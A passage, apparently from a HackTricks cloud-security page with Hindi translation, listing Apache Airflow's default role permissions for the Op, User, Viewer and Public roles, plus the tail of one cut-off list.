\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, Roles पर पढ़ सकते हैं, Permissions पर पढ़ सकते हैं, Roles पर हटा सकते हैं, Roles पर संपादित कर सकते हैं, Roles पर बना सकते हैं, Users पर पढ़ सकते हैं, Users पर बना सकते हैं, Users पर संपादित कर सकते हैं, Users पर हटा सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं, Task Reschedules पर पढ़ सकते हैं, Task Reschedules पर मेनू एक्सेस, Triggers पर पढ़ सकते हैं, Triggers पर मेनू एक्सेस, Passwords पर पढ़ सकते हैं, Passwords पर संपादित कर सकते हैं, List Users पर मेनू एक्सेस, Security पर मेनू एक्सेस, List Roles पर मेनू एक्सेस, User Stats Chart पर पढ़ सकते हैं, User's Statistics पर मेनू एक्सेस, Base Permissions पर मेनू एक्सेस, View Menus पर पढ़ सकते हैं, Views/Menus पर मेनू एक्सेस, Permission Views पर पढ़ सकते हैं, Views/Menus पर Permission पर मेनू एक्सेस, MenuApi पर प्राप्त कर सकते हैं, Providers पर मेनू एक्सेस, XComs पर बना सकते हैं]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं]
|
||||
|
||||
- **User**
|
||||
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
\[DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
\[DAGs पर पढ़ सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user